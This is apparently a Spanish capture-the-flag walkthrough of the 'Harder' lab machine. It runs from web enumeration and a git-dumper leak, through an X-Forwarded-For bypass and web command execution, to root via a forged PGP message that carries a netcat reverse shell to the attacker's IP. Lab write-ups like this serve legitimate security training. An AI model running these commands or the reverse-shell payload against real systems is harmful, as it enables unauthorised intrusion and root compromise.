Harder

10.10.204.70 Linux Media

Enumeración Web

Nmap

sudo nmap -sV -Pn 10.10.204.70

Resultado:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.3 (protocol 2.0)

80/tcp open http nginx 1.18.0

Características detectadas:

  • Puerto 22: Servidor OpenSSH (versión 8.3, protocol 2.0)
  • Puerto 80: Servidor Web Http (nginx 1.18.0)

Acceso al portarl web (Puerto 80)

http://10.10.204.70:80
foto

Figura 1: Portal Web puerto 80

No vemos nada interesante en la web. Esto se debe a que está bajo un dominio que no tenemos asignado en nuestro DNS.

Para dar fe de ello recargamos la página e interceptamos con BurpSuite

foto

Figura 2: Observamos el dominio pwd.harder.local

Veremos el nombre del dominio que debemos añadir al etc /host

echo "10.10.204.70 pwd.harder.local" | sudo tee -a /etc/hosts
foto

Figura 3: Enumeración con Gobuster

En caso de errores, ver el archivo: cat /etc/hosts

Acceso a la web pwd.harder.local

http://pwd.harder.local
foto

Figura 4: Acceso a http://pwd.harder.local

Si probamos las credenciales por defecto admin:admin vemos que el login funciona

foto

Figura 5: Acceso al login

Recargamos la página e Interceptamos la petición con BurpSuite.

Si miramos las cabeceras encontramos la versión de nginx y PHP. Además nos devuelve error 400 bad request. Lo que indica que algo nos está faltando en la petición.

foto

Figura 6: Acceso a http://pwd.harder.local

Escaneo con Gobuster

gobuster dir -u http://pwd.harder.local -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 30
foto

Figura 7: Escaneo con Gobuster

Si nos fijamos hay directorios .git/ lo que indica que tenemos un repositorio git

Uso de Git Dumper

sudo apt install pipx
pipx ensurepath
pipx install git-dumper
cd Desktop
mkdir ContenidoWeb
export PATH="$HOME/.local/bin:$PATH"
git-dumper http://pwd.harder.local/ ContenidoWeb
foto

Figura 8: Uso de Git Dumper

Una vez finalizado veremos los archivos

foto

Figura 9: Archivos descargados gracias a Git Dumper

Explotación

El parámetro h es el hash sha256 de test.com, podemos calcularlo con la misma función que se utiliza en el código con esta herramienta PHP Sandbox https://onlinephp.io/

http://pwd.harder.local/index.php?n[]=1&host=test.com&h=0a857c7e169318a6e419f21c00dc6d9517da664749c1dfa93c7473738220e483
foto

Figura 10: Acceso a la web

Ahora vemos unas credenciales y una URL donde podemos usarlas. Añadimos al /etc/hosts el dominio y accedemos.

echo "10.10.204.70 shell.harder.local" | sudo tee -a /etc/hosts

Accedemos a la web http://shell.harder.local

foto

Figura 11: Acceso a http://shell.harder.local

Debemos insertar las credenciales conseguidas anteriormente:

foto

Figura 12: Insertamos las credenciales encontradas anteriormente

Tenemos una nueva comprobación de acceso (Nos restringe por IP)

foto

Figura 13: Veremos que la web nos restringe el acceso por IP

Esto podemos bypassear con un proxy como Burp Suite añadiendo la cabecera X-Forwarded-For: 10.10.10.X.

Capturaremos la petición del login con Burp Suite

foto

Figura 14: Petición capturada con Burp Suite

Debemos añadir el parámetro X-Forwarded-For: 10.10.10.25 y volver a mandar la petición

foto

Figura 15: Petición alterada con X-Forwarded-For: 10.10.10.25

Para visualizar la petición debemos dar click derecho → Show response in browser. Veremos una web que nos permite buscar archivos

foto

Figura 16: Acceso a la web http://shell.harder.local

Intentamos mandar un comando y capturamos con Burp Suite.

A la petición que interceptamos, Debemos añadir de nuevo el parámetro X-Forwarded-For: 10.10.10.25 y mandarla con el repeater una vez modificada la petición, veremos que podremos ejecutar comandos

foto

Figura 17: Petición HTTP insertando un comando

Sabiendo que los comandos se interpretan, buscaremos archivos relacionados con el usuario en el que se ejecuta el sitio: EVS.

find / -name "evs*" 2>/dev/null
foto

Figura 18: Busqueda de archivos del usuario EVS

Encontraremos un archivo llamado backup.sh e intentaremos listar el contenido

cat /etc/periodic/15min/evs-backup.sh
foto

Figura 19: Encontraremos unas credenciales de SSH

Veremos unas credenciales de SSH

Acceso por SSH

ssh evs@pwd.harder.local
foto

Figura 20: Acceso por SSH

User Flag

Ahora podremos ver la user flag

foto

Figura 21: User Flag

Escalada de Privilegios

Buscamos en el sistema por ejecutables .sh

find / -name *.sh 2>/dev/null
foto

Figura 22: ejecutables .sh

El que nos llama la atención es run-crypted.sh

Busqueda de un binario tenga el SUID activo

ls -la /usr/local/bin
foto

Figura 23: Ejecutables .sh

El archivo execute-crypted sí tiene el bit SUID activado, mientras que run-crypted.sh no lo tiene.

foto

Figura 24: El archivo execute-crypted sí tiene el bit SUID activado

Desglose del script run-crypted.sh

cat /usr/local/bin/run-crypted.sh
foto

Figura 25: Archivo run-crypted.sh

Características detectadas:

  • El script espera un archivo .gpg con un comando cifrado para root.

  • Usa el keyring de root (/root/.gnupg/) para descifrarlo y ejecuta el comando con ash.

  • Si no se le pasa un archivo, muestra cómo usarlo.

  • La idea es usar la clave pública de root para generar comandos, pero el creador menciona que el script tiene un bug que puede aprovecharse.

Explotando el bug:

  • El script usa GPG para desencriptar un archivo y pasa su salida directamente a ash, sin verificar si la desencriptación fue exitosa.

¿Cuál es el problema?

  • No se comprueba si GPG falló, y cualquier cosa que GPG mande por stdout se ejecuta como comandos.

  • Si un atacante logra que GPG imprima algo en stdout (aunque la desencriptación falle), puede ejecutar comandos como root.

Impacto:

  • Permite ejecutar código arbitrario como root, manipulando la salida de GPG o creando un archivo que parezca un mensaje PGP válido.

¿Cómo hacerlo?

  • Se puede crear un mensaje PGP falso (clear-signed) sin tener la clave de root, solo copiando la estructura.

  • Dentro del mensaje se pone un comando, por ejemplo, una reverse shell.

  • Si no se le pasa un archivo, muestra cómo usarlo.

  • Importante este mensaje se debe crear con cat, ya que nano no está disponible

Debemos modificar la IP y el puerto del script antes de ejecutarlo

foto

Figura 26: Archivo run-crypted.sh

cat > revshell.asc << 'EOF' -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.23.73.4 8888 > /tmp/f -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEzBAEBCAAdFiEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCFAAAAAAAKCRAAAAAAAAAAAAAAAAD/2gAIAQEAAAA =dead -----END PGP SIGNATURE----- EOF
foto

Figura 27: Contenido del archivo revshell.asc

Se guardará como revshell.asc

Reverse Shell

Se guardará como revshell.asc

Antes de ejecutar nos ponemos a la escucha con netcat en Kali

nc -lvnp 8888
foto

Figura 28: Listener con netcat

Ahora ejecutaremos el binario vulnerable como root

/usr/local/bin/execute-crypted revshell.asc
foto

Figura 29: Ejecución del script vulnerable

Con la conexión establecida accedemos a la root flag, no nos será necesario estabilizar la Shell, ya que el procedimiento que haremos es simple

foto

Figura 30: Conexión establecida en netcat

Root Flag

cd /root
cat /root/root.txt
foto

Figura 31: Root Flag